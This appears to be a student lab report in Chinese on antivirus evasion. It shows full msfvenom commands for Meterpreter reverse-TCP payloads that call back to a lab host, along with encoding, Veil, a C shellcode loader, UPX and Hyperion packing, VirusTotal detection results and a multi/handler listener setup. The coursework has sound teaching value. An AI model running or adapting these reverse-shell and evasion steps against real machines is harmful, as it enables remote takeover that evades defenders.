当前位置: 首页 > news >正文

20232325 2025-2026-1 《网络与系统攻防技术》实验三实验报告

实验文档

1.实验内容

1.1 回答问题

  • (1)杀软是如何检测出恶意代码的?

    1. 通过特征码检测;
    2. 根据程序行为规律判断;
    3. 根据程序运行时的实际行为来判断。
  • (2)免杀是做什么?
    对恶意程序做各种处理,让它免除杀毒软件检测,从而可以进行攻击。

  • (3)免杀的基本方法有哪些?

    1. 通过各种方法,改变恶意软件的特征码;
    2. 隐藏恶意程序的恶意行为。

1.2实践内容简述

(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(2)学习安装、使用veil,加壳工具
(3)使用C + shellcode编程
(4)通过组合应用各种技术实现恶意代码免杀
(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

实验准备:Kali虚拟机的 ip:192.168.57.133
image

2.1免杀效果参考基准

通过

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 PORT=2325 -f exe > met20232325.exe

生成一个没有经过任何处理的文件。
image

将该文件通过virustotal检测,检出率为57/70,通过此数字与后续的结果进行对比,检验各种处理方法的免杀技术效果。
image

2.2正确使用msf编码器

2.2.1直接生成和经过多次编码生成的exe文件

利用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-encoded20232325.exe

生成met-encoded20232325.exe。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
image

得到的检出率为56/70,基本没有明显变化。
image

使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-10encoded20232325.exe

进行10次编码,生成文件met-10encoded20232325.exe。
image

得到的检出率为58/71,基本没有变化。
image

说明这种处理方式生成的文件的特征码已经基本都在库中了,非常容易被识别出,很难有免杀效果

2.2.2生成jar文件和编码的jar文件

利用指令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 x>metjar20232325.jar

直接生成metjar20232325.jar。
image

再利用指令

msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2325 x>met-encoded-jar20232325.jar

生成一份编码10次的met-encoded-jar20232325.jar。
image

得到的检出率均为35/64,尽管依然不低,但是通过对比可以得出结论,jar文件更难被识别出来。
image

2.2.3生成php文件和编码的php文件

利用指令

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.57.133  LPORT=2325 x> metphp_20232325.php

直接生成metphp_20232325.php。
image

直接生成的php文件检出率为25/62
image

利用指令

msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2408 x> met_encoded10_php_20232325.php

生成一份编码10次的met_encoded10_php_20232325.php。
image

进行10次编码的检出率为8/62,说明php文件相比前两种方式更加难以被识别,且php的多次编码有良好的免杀效果,对检出率降低有很大帮助。
image

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

使用指令

sudo apt -y install veil

,用apt下载veil。
image

使用指令

sudo usr/share/veil/config/setup.sh --force --silent

,用shell脚本配置好环境。
安装成功后会呈现下图的样子
image

2.3.2veil使用过程

看到Evasion是第一个选项,在veil中输入use 1进入Evasion模块。
image

输入list查看所有可用的种类。
image

看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7。
image

进行配置,输入以下信息。
set LHOST 192.168.57.133(kail虚拟机的ip)
set LPORT 2325(设置端口2325)
generate(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
image

到图中的目录,可以看到已经生成好的文件payload20232325.exe。
image

测试这个文件的检出率,发现是37/71,对比最基础的版本有免杀能力的提升,但效果不是很好。
image

2.4使用C + shellcode编程

使用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 -f c

,用msfvenom工具来生成一个C语言的源代码格式的有效载荷
image

用生成的shellcode编写一个c文件,使用命令

nano shellcode_c_20232325

image

利用指令

i686-w64-mingw32-g++ shellcode_c_20232325.c -o shellcode_c_20232325.exe

进行编译,得到shellcode_c_20232325.exe文件。
image

测试这个文件的检出率,发现是37/71,有一定的免杀效果,但依旧不是很理想。
image

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用指令

upx shellcode_c_20232325.exe -o shellcode_c_upx_20232325.exe

,给上一个步骤生成的shellcode_c_20232325.exe加一个压缩壳。
image

测试检出率为41/71,比较shellcode_c_20232325.exe的检出率,经过思考说明这一步使用的压缩壳已经被很广泛的记录,特征码非常明显,让其免杀效果大打折扣。
image

2.5.2使用加密壳Hyperion

使用指令:

sudo cp shellcode_c_20232325.exe /usr/share/windows-resources/hyperion/

(将待加密文件放到工作目录下)

cd /usr/share/windows-resources/hyperion

(进入工作目录)

wine hyperion.exe -v shellcode_c_20232325.exe shellcode_c_hyp_20232325.exe

image
image

输入ls检查文件是否生成。
image

测试检出率为50/71,依旧比原版上升,说明加密壳的特征已经被很广泛的记录,免杀效果大打折扣。
image

2.6 组合使用msfvenom工具与加壳技术

2.6.1 使用msfvenom工具

首先通过命令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f c > 20232325_shellcode_multi.c

,生成一个经过10次多态编码且不含空字节的C语言格式shellcode,并将其保存。
image

此后在vim中编写c语言程序,主要内容是加入main函数。
image

通过命令

i686-w64-mingw32-g++ 20232325_shellcode_multi.c -o 20232325_shellcode_multi.exe

,将原文件编译为20232325_shellcode_multi.exe。
image

2.6.2 使用压缩壳UPX

通过命令

upx 20232325_shellcode_multi.exe -o 20232325_shellcode_multi_2.exe

,为20232325_shellcode_multi.exe加上UPX压缩壳。
image

2.6.3 使用加密壳Hyperion

通过命令

wine hyperion.exe -v 20232325_shellcode_multi_2.exe 20232325_shellcode_multi_3.exe

,为20232325_shellcode_multi_2.exe加上Hyperion加密壳。
image

2.6.4 检测免杀效果

对最后三重处理的文件20232325_shellcode_multi_3.exe进行检测,发现检出率为50/71,免杀效果不尽人意
image

对只进行压缩,未进行加密的文件20232409_shellcode_multi_2.exe进行检测,检出率为31/71,效果相比三重处理文件更好。经过思考,因为加密壳已被标识为一种高风险的恶意行为模式,所以加上加密壳免杀效果反而会更差。
image

将文件20232325_shellcode_multi_2.exe使用Windows主机上的杀毒软件进行扫描,仍能查出其中的潜在威胁。说明win11的杀毒软件越加完善了,如今想做出免杀软件需要的能力更高。
image

本次使用的杀毒软件是火绒,版本号为6.0.7.14
image

2.7 开启杀软回连实测

尝试使用20232409_shellcode_multi_3.exe进行回连检测。Kali虚拟机作为攻击机,进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息,本处步骤与实验2相似。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.57.133
set LPORT 2325
exploit

image

Windows主机作为目标主机,在其上启动后门程序20232325_shellcode_multi_3.exe。双击程序尝试运行发现火绒将其成功拦截,再次运行已经无法成功。
image

程序直接被火绒扔进了隔离区,我甚至在桌面上找不到它。
image

3.问题及解决

问题1:安装veil时发生报错,无法顺利安装
image

解决方案:认为是依赖关系不满足,首先执行依赖修复命令

sudo apt --fix-broken install

,再更新软件包列表

sudo apt update

,再次重新安装veil,成功解决问题。

问题2:想使用Hyperion加密壳,执行到一半就停止
image

解决方案:使用管理员权限后,让命令有足够权限写入文件,发现可以顺利生产。

4. 心得体会

本次实验的主要内容是免杀原理与实践,学习使用了如msfvenom、veil等软件,也多次尝试使用virustotal检测程序的检出率,还将各种方式综合起来生成程序测试免杀能力(虽然效果不佳),本次实验让我对杀软原理、后门程序等知识有了进一步的掌握和更立体的理解。

本次实验总体上比上次顺利的多,碰到困扰我时间最久的问题是veil的安装,veil安装的非常慢,而且经常报错或者依赖关系有问题,通过使用ai工具,我通过修复依赖,更新软件包列表,还是顺利的下载并打开成功了veil,下载成功后也是长出一口气。

同时我发现如今的Win11系统的安全防护能力确实有了很大的提高,实验的大部分时候都要关闭杀软的同时,关闭Win11自带的病毒检测功能,否则做着做着程序就没了。同时有些处理方式使用后反而会提高检测率,说明特征库对于杀软检测恶意程序的重要性,也说明了处理方式并不是越多越好,而是要合理组合。

总之,本次实验提高了我在免杀原理方面的认知,也让我对现在电脑的安全防护有了更立体的认识,希望我能早日做出一个正经的免杀程序,在那之前我还有很多需要学习。

http://www.hskmm.com/?act=detail&tid=39850

相关文章:

  • centos7通过阿里云的镜像站安装最新的docker服务
  • 2025年计算机技术、数字媒体与传播国际学术会议(ICCDC 2025)
  • 整除分块
  • 2025 年造粒机,混合造粒机厂家最新推荐,聚焦资质、案例、售后的优质机构深度解读
  • Java dubbo spring springboot中的spi机制
  • 此乃同余最短路
  • 2025年深圳离婚房产律师权威推荐榜单:婚姻/子女抚养权/股权分割专业团队精选
  • 题解:uoj748 机器人表演
  • 2025 年混合机,强力混合机厂家最新推荐,产能、专利、环保三维数据透视!
  • 2025年深圳婚姻律师权威推荐榜单:离婚房产/子女抚养权/股权分割专业团队精选
  • 微软+清北联合突破:Reinforcement Pre-Training正在改写大模型训练规则
  • 为什么堆只设置了8G,java进程却占用了12G内存?
  • Authlib JOSE组件存在拒绝服务漏洞,攻击者可利用超大令牌段耗尽系统资源
  • Linux 自动输入 Enter 键
  • Voyage系列3: 技巧与提示
  • 合规与创新并重:现代企业DevOps平台的安全战略与实践路径
  • 完全开源!一款基于 SpringBoot + Vue 构建的社区平台!
  • 【一步步开发AI运动APP】十二、如何进行运动开始前的站位预检,提升用户体验
  • Oracle Data Pump 网络模式直接迁移详解(使用数据库链接(Database Link))
  • 2025年10月洗地机产品推荐:五款高口碑机型横向对比榜
  • 2025年10月防脱生发产品推荐:十款口碑榜对比与临床数据全解析
  • 2025年10月美容仪品牌推荐:无创无痛纳晶领衔性价比排行榜
  • 2025 年娱乐麦克风,一拖二无线麦克风,舞台演出麦克风厂家最新推荐,技术实力与市场口碑深度解析
  • 2025年10月工装装修公司推荐榜:全国服务实力对比
  • 使用Voyage持久化对象
  • 2025年10月品牌认证机构推荐:权威榜单对比五强优劣
  • 2025 年安全防坠器厂家最新推荐排行榜权威发布,结合中国安全防护用品行业协会测评数据揭晓行业实力企业成都安全防坠器/安全防坠器测试厂家推荐
  • 矢量图
  • 泛型通配符 T、E、K、V、?
  • 2025 年最新推荐 PPT 生成软件排行榜:权威协会测评 + AI 备案技术加持,3500 万用户信赖之选全面解析